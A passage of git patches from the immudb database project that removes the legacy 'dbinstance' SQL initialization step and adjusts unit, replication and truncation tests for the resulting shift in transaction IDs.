Set: []byte(set), - SinceTx: 11, + SinceTx: 10, }) require.NoError(t, err) require.Len(t, zList.Entries, 10) diff --git a/pkg/database/database.go b/pkg/database/database.go index 8695118626..16b6fd3148 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -38,8 +38,6 @@ import ( const MaxKeyResolutionLimit = 1 const MaxKeyScanLimit = 1000 -const dbInstanceName = "dbinstance" - var ErrKeyResolutionLimitReached = errors.New("key resolution limit reached. It may be due to cyclic references") var ErrResultSizeLimitExceeded = errors.New("result size limit exceeded") var ErrResultSizeLimitReached = errors.New("result size limit reached") @@ -149,9 +147,7 @@ type replicaState struct { type db struct { st *store.ImmuStore - sqlEngine *sql.Engine - sqlInitCancel chan (struct{}) - sqlInit sync.WaitGroup + sqlEngine *sql.Engine mutex *instrumentedRWMutex closingMutex sync.Mutex @@ -207,11 +203,20 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - dbi.sqlEngine, err = sql.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix([]byte{SQLPrefix})) + dbi.Logger.Infof("Loading SQL Engine for database '%s' {replica = %v}...", dbName, op.replica) + + sqlOpts := sql.DefaultOptions(). + WithPrefix([]byte{SQLPrefix}). + WithMultiDBHandler(multidbHandler) + + dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { + dbi.Logger.Errorf("Unable to load SQL Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) return nil, err } + dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) + txPool, err := dbi.st.NewTxHolderPool(op.readTxPoolSize, false) if err != nil { return nil, logErr(dbi.Logger, "Unable to create tx pool: %s", err) @@ -219,31 +224,10 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.txPool = txPool if op.replica { - dbi.sqlEngine.SetMultiDBHandler(multidbHandler) - dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil } - dbi.sqlInitCancel = make(chan struct{}) - dbi.sqlInit.Add(1) - - go func() { - defer dbi.sqlInit.Done() - - dbi.Logger.Infof("Loading SQL Engine for database '%s' {replica = %v}...", dbName, op.replica) - - err := dbi.initSQLEngine(context.Background()) - if err != nil { - dbi.Logger.Errorf("Unable to load SQL Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) - return - } - - dbi.sqlEngine.SetMultiDBHandler(multidbHandler) - - dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) - }() - dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil @@ -265,20 +249,6 @@ func (d *db) releaseTx(tx *store.Tx) { d.txPool.Release(tx) } -func (d *db) initSQLEngine(ctx context.Context) error { - err := d.sqlEngine.SetCurrentDatabase(ctx, dbInstanceName) - if err != nil && err != sql.ErrDatabaseDoesNotExist { - return err - } - - if err == sql.ErrDatabaseDoesNotExist { - return fmt.Errorf("automatic SQL initialization of databases created with older versions is now disabled. " + - "Please reach out to the immudb maintainers at the Discord channel if you need any assistance") - } - - return nil -} - // NewDB Creates a new Database along with it's directories and files func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log logger.Logger) (DB, error) { if dbName == "" { @@ -313,47 +283,37 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to create data folder: %s", err) } - stOpts := op.GetStoreOptions().WithLogger(log) - // TODO: it's not currently possible to set: - // WithExternalCommitAllowance(op.syncReplication) due to sql init steps + stOpts := op.GetStoreOptions(). + WithExternalCommitAllowance(op.syncReplication). + WithLogger(log) dbi.st, err = store.Open(dbDir, stOpts) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - // TODO: may be moved to store opts once sql init steps are removed - defer func() { - dbi.st.SetExternalCommitAllowance(op.syncReplication) - }() - txPool, err := dbi.st.NewTxHolderPool(op.readTxPoolSize, false) if err != nil { return nil, logErr(dbi.Logger, "Unable to create tx pool: %s", err) } dbi.txPool = txPool - dbi.sqlEngine, err = sql.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix([]byte{SQLPrefix})) - if err != nil { - return nil, logErr(dbi.Logger, "Unable to open database: %s", err) - } + sqlOpts := sql.DefaultOptions(). + WithPrefix([]byte{SQLPrefix}). + WithMultiDBHandler(multidbHandler) - if !op.replica { - // TODO: get rid off this sql initialization - _, _, err = dbi.sqlEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) - if err != nil { - return nil, logErr(dbi.Logger, "Unable to open database: %s", err) - } + dbi.Logger.Infof("Loading SQL Engine for database '%s' {replica = %v}...", dbName, op.replica) - err = dbi.sqlEngine.SetCurrentDatabase(context.Background(), dbInstanceName) - if err != nil { - return nil, logErr(dbi.Logger, "Unable to open database: %s", err) - } + dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) + if err != nil { + dbi.Logger.Errorf("Unable to load SQL Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) + return nil, err } - dbi.sqlEngine.SetMultiDBHandler(multidbHandler) + dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) dbi.Logger.Infof("Database '%s' successfully created {replica = %v}", dbName, op.replica) + return dbi, nil } @@ -1611,13 +1571,6 @@ func (d *db) Close() (err error) { } }() - if d.sqlInitCancel != nil { - close(d.sqlInitCancel) - d.sqlInitCancel = nil - } - - d.sqlInit.Wait() // Wait for SQL Engine initialization to conclude - return d.st.Close() } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index a8bf96564c..18695af16b 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -112,7 +112,7 @@ func TestDefaultDbCreation(t *testing.T) { n, err := db.Size() require.NoError(t, err) - require.Equal(t, uint64(1), n) + require.Zero(t, n) _, err = db.Count(context.Background(), nil) require.Error(t, err) @@ -228,12 +228,12 @@ func TestDbSetGet(t *testing.T) { for i, kv := range kvs[:1] { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) - require.Equal(t, uint64(i+2), txhdr.Id) + require.Equal(t, uint64(i+1), txhdr.Id) if i == 0 { alh := schema.TxHeaderFromProto(txhdr).Alh() copy(trustedAlh[:], alh[:]) - trustedIndex = 2 + trustedIndex = 1 } keyReq := &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id} @@ -385,13 +385,13 @@ func TestCurrentState(t *testing.T) { for ind, val := range kvs { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) - require.Equal(t, uint64(ind+2), txhdr.Id) + require.Equal(t, uint64(ind+1), txhdr.Id) time.Sleep(1 * time.Second) state, err := db.CurrentState() require.NoError(t, err) - require.Equal(t, uint64(ind+2), state.TxId) + require.Equal(t, uint64(ind+1), state.TxId) } } @@ -413,7 +413,7 @@ func TestSafeSetGet(t *testing.T) { }, }, }, - ProveSinceTx: 2, + ProveSinceTx: 1, }) require.Equal(t, ErrIllegalState, err) @@ -465,7 +465,7 @@ func TestSafeSetGet(t *testing.T) { }, }) require.NoError(t, err) - require.Equal(t, uint64(ind+2), vit.Entry.Tx) + require.Equal(t, uint64(ind+1), vit.Entry.Tx) } } @@ -489,7 +489,7 @@ func TestSetGetAll(t *testing.T) { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvs}) require.NoError(t, err) - require.Equal(t, uint64(2), txhdr.Id) + require.Equal(t, uint64(1), txhdr.Id) itList, err := db.GetAll(context.Background(), &schema.KeyListRequest{ Keys: [][]byte{ diff --git a/pkg/database/reference_test.go b/pkg/database/reference_test.go index abb7a09e3f..4fafb6e5d7 100644 --- a/pkg/database/reference_test.go +++ b/pkg/database/reference_test.go @@ -70,7 +70,7 @@ func TestStoreReference(t *testing.T) { } txhdr, err = db.SetReference(context.Background(), refOpts) require.NoError(t, err) - require.Equal(t, uint64(3), txhdr.Id) + require.Equal(t, uint64(2), txhdr.Id) keyReq := &schema.KeyRequest{Key: []byte(`myTag`), SinceTx: txhdr.Id} @@ -171,7 +171,7 @@ func TestStoreReferenceAsyncCommit(t *testing.T) { ref, err := db.SetReference(context.Background(), refOpts) require.NoError(t, err, "n=%d", n) - require.Equal(t, n+2+2, ref.Id, "n=%d", n) + require.Equal(t, n+1+2, ref.Id, "n=%d", n) } for n := uint64(0); n <= 64; n++ { @@ -215,7 +215,7 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { reference1, err := db.SetReference(context.Background(), refOpts1) require.NoError(t, err) - require.Exactly(t, uint64(4), reference1.Id) + require.Exactly(t, uint64(3), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") refOpts2 := &schema.ReferenceRequest{ @@ -226,7 +226,7 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { } reference2, err := db.SetReference(context.Background(), refOpts2) require.NoError(t, err) - require.Exactly(t, uint64(5), reference2.Id) + require.Exactly(t, uint64(4), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") refOpts3 := &schema.ReferenceRequest{ @@ -237,7 +237,7 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { } reference3, err := db.SetReference(context.Background(), refOpts3) require.NoError(t, err) - require.Exactly(t, uint64(6), reference3.Id) + require.Exactly(t, uint64(5), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") firstTagRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: reference3.Id}) diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index 0eae7e9f6e..e843b00bee 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -21,6 +21,7 @@ import ( "os" "testing" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" @@ -42,7 +43,7 @@ func TestReadOnlyReplica(t *testing.T) { require.NoError(t, err) _, err = replica.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte("key1"), Value: []byte("value1")}}}) - require.Equal(t, ErrIsReplica, err) + require.ErrorIs(t, err, ErrIsReplica) _, err = replica.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ @@ -56,7 +57,7 @@ func TestReadOnlyReplica(t *testing.T) { }, }}, ) - require.Equal(t, ErrIsReplica, err) + require.ErrorIs(t, err, ErrIsReplica) _, err = replica.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("key"), @@ -69,19 +70,20 @@ func TestReadOnlyReplica(t *testing.T) { Score: 1, Key: []byte("key"), }) - require.Equal(t, ErrIsReplica, err) + require.ErrorIs(t, err, ErrIsReplica) _, _, err = replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)"}) - require.Equal(t, ErrIsReplica, err) + require.ErrorIs(t, err, ErrIsReplica) _, err = replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) - require.Equal(t, ErrSQLNotReady, err) - - _, err = replica.ListTables(context.Background(), nil) - require.Equal(t, ErrSQLNotReady, err) + require.ErrorIs(t, err, sql.ErrTableDoesNotExist) _, err = replica.DescribeTable(context.Background(), nil, "mytable") - require.Equal(t, ErrSQLNotReady, err) + require.ErrorIs(t, err, sql.ErrTableDoesNotExist) + + res, err := replica.ListTables(context.Background(), nil) + require.NoError(t, err) + require.Empty(t, res.Rows) _, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ @@ -89,7 +91,7 @@ func TestReadOnlyReplica(t *testing.T) { PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, }) - require.Equal(t, ErrSQLNotReady, err) + require.Error(t, err) } func TestSwitchToReplica(t *testing.T) { diff --git a/pkg/database/sorted_set_test.go b/pkg/database/sorted_set_test.go index 18027b0e50..4ffc0731b5 100644 --- a/pkg/database/sorted_set_test.go +++ b/pkg/database/sorted_set_test.go @@ -43,7 +43,7 @@ func TestStoreIndexExists(t *testing.T) { reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) - require.Exactly(t, uint64(5), reference1.Id) + require.Exactly(t, uint64(4), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ @@ -54,7 +54,7 @@ func TestStoreIndexExists(t *testing.T) { reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) - require.Exactly(t, uint64(6), reference2.Id) + require.Exactly(t, uint64(5), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts2 = &schema.ZAddRequest{ @@ -75,7 +75,7 @@ func TestStoreIndexExists(t *testing.T) { reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) - require.Exactly(t, uint64(7), reference3.Id) + require.Exactly(t, uint64(6), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts := &schema.ZScanRequest{ @@ -147,7 +147,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) - require.Exactly(t, uint64(6), reference1.Id) + require.Exactly(t, uint64(5), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ @@ -160,7 +160,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) - require.Exactly(t, uint64(7), reference2.Id) + require.Exactly(t, uint64(6), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ @@ -173,7 +173,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) - require.Exactly(t, uint64(8), reference3.Id) + require.Exactly(t, uint64(7), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ @@ -210,7 +210,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) - require.Exactly(t, uint64(5), reference1.Id) + require.Exactly(t, uint64(4), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ @@ -224,7 +224,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) - require.Exactly(t, uint64(6), reference2.Id) + require.Exactly(t, uint64(5), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ @@ -238,7 +238,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) - require.Exactly(t, uint64(7), reference3.Id) + require.Exactly(t, uint64(6), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ @@ -604,7 +604,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) - require.Exactly(t, uint64(5), reference1.Id) + require.Exactly(t, uint64(4), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ @@ -617,7 +617,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) - require.Exactly(t, uint64(6), reference2.Id) + require.Exactly(t, uint64(5), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ @@ -630,7 +630,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) - require.Exactly(t, uint64(7), reference3.Id) + require.Exactly(t, uint64(6), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ @@ -658,7 +658,7 @@ func TestStoreVerifiableZAdd(t *testing.T) { _, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: nil, - ProveSinceTx: i1.Id + 1, + ProveSinceTx: i1.Id, }) require.Equal(t, store.ErrIllegalArguments, err) @@ -681,7 +681,7 @@ func TestStoreVerifiableZAdd(t *testing.T) { ProveSinceTx: i1.Id, }) require.NoError(t, err) - require.Equal(t, uint64(3), vtx.Tx.Header.Id) + require.Equal(t, uint64(2), vtx.Tx.Header.Id) ekv := EncodeZAdd(req.Set, req.Score, EncodeKey(req.Key), req.AtTx) require.Equal(t, ekv.Key, vtx.Tx.Entries[0].Key) diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 9d28192d9e..0dc50fde90 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -19,7 +19,6 @@ package database import ( "bytes" "context" - "errors" "fmt" "strings" "time" @@ -29,17 +28,6 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" ) -var ErrSQLNotReady = errors.New("SQL catalog not yet replicated") - -func (d *db) reloadSQLCatalog(ctx context.Context) error { - err := d.sqlEngine.SetCurrentDatabase(ctx, dbInstanceName) - if err == sql.ErrDatabaseDoesNotExist { - return ErrSQLNotReady - } - - return err -} - func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { if req == nil || req.SqlGetRequest == nil { return nil, ErrIllegalArguments @@ -53,20 +41,13 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR d.mutex.Lock() defer d.mutex.Unlock() - if d.isReplica() { - err := d.reloadSQLCatalog(ctx) - if err != nil { - return nil, err - } - } - sqlTx, err := d.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } defer sqlTx.Cancel() - table, err := sqlTx.Catalog().GetTableByName(dbInstanceName, req.SqlGetRequest.Table) + table, err := sqlTx.Catalog().GetTableByName(req.SqlGetRequest.Table) if err != nil { return nil, err } @@ -98,7 +79,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR pkKey := sql.MapKey( []byte{SQLPrefix}, sql.PIndexPrefix, - sql.EncodeID(table.Database().ID()), + sql.EncodeID(1), sql.EncodeID(table.ID()), sql.EncodeID(sql.PKIndexID), valbuf.Bytes()) @@ -163,7 +144,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR for _, col := range table.Cols() { colNamesByID[col.ID()] = col.Name() - colIdsByName[sql.EncodeSelector("", d.GetName(), table.Name(), col.Name())] = col.ID() + colIdsByName[sql.EncodeSelector("", table.Name(), col.Name())] = col.ID() colTypesByID[col.ID()] = col.Type() colLenByID[col.ID()] = int32(col.MaxLen()) } @@ -178,7 +159,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR SqlEntry: e, VerifiableTx: verifiableTx, InclusionProof: schema.InclusionProofToProto(inclusionProof), - DatabaseId: table.Database().ID(), + DatabaseId: 1, TableId: table.ID(), PKIDs: pkIDs, ColNamesById: colNamesByID, @@ -228,26 +209,14 @@ func (d *db) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryRes d.mutex.RLock() defer d.mutex.RUnlock() - if d.isReplica() { - err := d.reloadSQLCatalog(ctx) - if err != nil { - return nil, err - } - } - catalog, err := d.sqlEngine.Catalog(ctx, tx) if err != nil { return nil, err } - db, err := catalog.GetDatabaseByName(dbInstanceName) - if err != nil { - return nil, err - } - res := &schema.SQLQueryResult{Columns: []*schema.Column{{Name: "TABLE", Type: sql.VarcharType}}} - for _, t := range db.GetTables() { + for _, t := range catalog.GetTables() { res.Rows = append(res.Rows, &schema.Row{Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: t.Name()}}}}) } @@ -258,19 +227,12 @@ func (d *db) DescribeTable(ctx context.Context, tx *sql.SQLTx, tableName string) d.mutex.RLock() defer d.mutex.RUnlock() - if d.isReplica() { - err := d.reloadSQLCatalog(ctx) - if err != nil { - return nil, err - } - } - catalog, err := d.sqlEngine.Catalog(ctx, tx) if err != nil { return nil, err } - table, err := catalog.GetTableByName(dbInstanceName, tableName) + table, err := catalog.GetTableByName(tableName) if err != nil { return nil, err } @@ -438,17 +400,11 @@ func (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataS cols := make([]*schema.Column, len(colDescriptors)) for i, c := range colDescriptors { - dbname := c.Database - if c.Database == dbInstanceName { - dbname = d.name - } - des := &sql.ColDescriptor{ - AggFn: c.AggFn, - Database: dbname, - Table: c.Table, - Column: c.Column, - Type: c.Type, + AggFn: c.AggFn, + Table: c.Table, + Column: c.Column, + Type: c.Type, } cols[i] = &schema.Column{Name: des.Selector(), Type: des.Type} } @@ -502,13 +458,6 @@ func (d *db) SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.Data d.mutex.RLock() defer d.mutex.RUnlock() - if d.isReplica() { - err := d.reloadSQLCatalog(ctx) - if err != nil { - return nil, err - } - } - return d.sqlEngine.QueryPreparedStmt(ctx, tx, stmt, params) } @@ -516,13 +465,6 @@ func (d *db) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (ma d.mutex.RLock() defer d.mutex.RUnlock() - if d.isReplica() { - err := d.reloadSQLCatalog(ctx) - if err != nil { - return nil, err - } - } - return d.sqlEngine.InferParameters(ctx, tx, sql) } @@ -530,13 +472,6 @@ func (d *db) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sq d.mutex.RLock() defer d.mutex.RUnlock() - if d.isReplica() { - err := d.reloadSQLCatalog(ctx) - if err != nil { - return nil, err - } - } - return d.sqlEngine.InferParametersPreparedStmts(ctx, tx, []sql.SQLStmt{stmt}) } diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 84e72f1203..52d8eef0b3 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -927,9 +927,6 @@ func TestImmuClient_SetAll(t *testing.T) { _, err = client.FlushIndex(ctx, 1, false) require.NoError(t, err) - err = client.CompactIndex(ctx, &emptypb.Empty{}) - require.NoError(t, err) - for _, kv := range setRequest.KVs { i, err := client.Get(ctx, kv.Key) @@ -1058,14 +1055,14 @@ func TestImmuClient_TxScan(t *testing.T) { require.NoError(t, err) txls, err := client.TxScan(ctx, &schema.TxScanRequest{ - InitialTx: 2, + InitialTx: 1, }) require.IsType(t, &schema.TxList{}, txls) require.NoError(t, err) require.Len(t, txls.Txs, 3) txls, err = client.TxScan(ctx, &schema.TxScanRequest{ - InitialTx: 4, + InitialTx: 3, Limit: 3, Desc: true, }) @@ -1074,7 +1071,7 @@ func TestImmuClient_TxScan(t *testing.T) { require.Len(t, txls.Txs, 3) txls, err = client.TxScan(ctx, &schema.TxScanRequest{ - InitialTx: 3, + InitialTx: 2, Limit: 1, Desc: true, }) diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index e429e16074..cc18203853 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -389,7 +389,7 @@ func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { state, err := client.CurrentState(ctx) suite.Require().NoError(err) - suite.Require().Greater(state.TxId, txWritten, "Ensure enough TXs were written") + suite.Require().Equal(state.TxId, txWritten, "Ensure enough TXs were written") // Check if we can recover the cluster and perform write within a reasonable amount of time // that was needed for initial sampling. The replica that was initially stopped and now @@ -509,7 +509,7 @@ func (suite *SyncTestWithAsyncReplicaSuite) TestSyncReplicationAlongWithAsyncRep state, err := client.CurrentState(ctx) suite.Require().NoError(err) - suite.Require().Greater(state.TxId, txWritten, "Ensure enough TXs were written") + suite.Require().Equal(state.TxId, txWritten, "Ensure enough TXs were written") for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("replica %d", i), func() { diff --git a/pkg/integration/stream/stream_replication_test.go b/pkg/integration/stream/stream_replication_test.go index 9dfd250edc..1ec423c1fc 100644 --- a/pkg/integration/stream/stream_replication_test.go +++ b/pkg/integration/stream/stream_replication_test.go @@ -77,7 +77,7 @@ func TestImmuClient_ExportAndReplicateTx(t *testing.T) { ) rctx := metadata.NewOutgoingContext(context.Background(), rmd) - for i := uint64(1); i <= 2; i++ { + for i := uint64(1); i <= hdr.Id; i++ { exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ Tx: i, SkipIntegrityCheck: true, diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 9adf7606f0..c70d5ffb71 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -874,9 +874,6 @@ func testServerSetGetBatch(ctx context.Context, s *ImmuServer, t *testing.T) { _, err = s.FlushIndex(ctx, &schema.FlushIndexRequest{CleanupPercentage: 1}) require.NoError(t, err) - _, err = s.CompactIndex(ctx, nil) - require.NoError(t, err) - _, err = s.CompactIndex(ctx, &emptypb.Empty{}) require.ErrorIs(t, err, tbtree.ErrCompactionThresholdNotReached) From 3cc82675ef9e7fd1f049ae460935cc347517887a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 17 Mar 2023 11:40:12 -0300 Subject: [PATCH 0360/1062] test(embedded/sql): adjustment after rebasing from master Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index a856cc285c..36c080f09d 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5709,7 +5709,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].RawValue()) + require.Equal(t, "mytable2", row.ValuesBySelector["(tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) From 4fb2b1de579bbb0f68f9b36070d1f9a23e37ff98 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 20 Mar 2023 16:40:13 -0300 Subject: [PATCH 0361/1062] test(pkg/database): adjust truncation unit test Signed-off-by: Jeronimo Irazabal --- pkg/database/database_test.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 18695af16b..9e81c3ff8c 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2170,14 +2170,14 @@ db := makeDb(t) func Test_database_truncate(t *testing.T) { options := DefaultOption().WithDBRootPath(t.TempDir()) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)). - WithFileSize(6). + WithFileSize(16). WithVLogCacheSize(0) db := makeDbWith(t, "db", options) var queryTime time.Time - for i := 2; i <= 20; i++ { + for i := 0; i <= 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), From 6a2bea117be6eff07e934c3d4d27d0371b78ecf7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 21 Mar 2023 12:48:10 -0300 Subject: [PATCH 0362/1062] test(pkg/database): adjust truncation unit testing Signed-off-by: Jeronimo Irazabal --- pkg/database/truncator_test.go | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 8b84f2ec6b..0df8d217d7 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -426,6 +426,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { db := makeDbWith(t, "db", options) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte("key1")}}}) require.Equal(t, uint64(1), db.st.LastCommittedTxID()) deletePointTx := uint64(1) @@ -556,7 +557,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) - require.Equal(t, uint64(1), db.st.LastCommittedTxID()) + require.Equal(t, uint64(0), db.st.LastCommittedTxID()) for i := 1; i <= 10; i++ { kv := &schema.KeyValue{ From 0009ff6ea5a7aadf1c600849aad56337104df16f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 21 Mar 2023 13:56:11 -0300 Subject: [PATCH 0363/1062] test(pkg/database): adjust unit testing for entry-less txs Signed-off-by: Jeronimo Irazabal --- pkg/database/database_test.go | 2 +- pkg/database/scan_test.go | 46 ++++++++++++++++----------------- pkg/database/truncator.go | 8 +++--- pkg/database/truncator_test.go | 16 ++++++------ pkg/truncator/truncator.go | 2 +- pkg/truncator/truncator_test.go | 6 ++--- 6 files changed, 40 insertions(+), 40 deletions(-) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 9e81c3ff8c..91e4661376 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2196,7 +2196,7 @@ func Test_database_truncate(t *testing.T) { 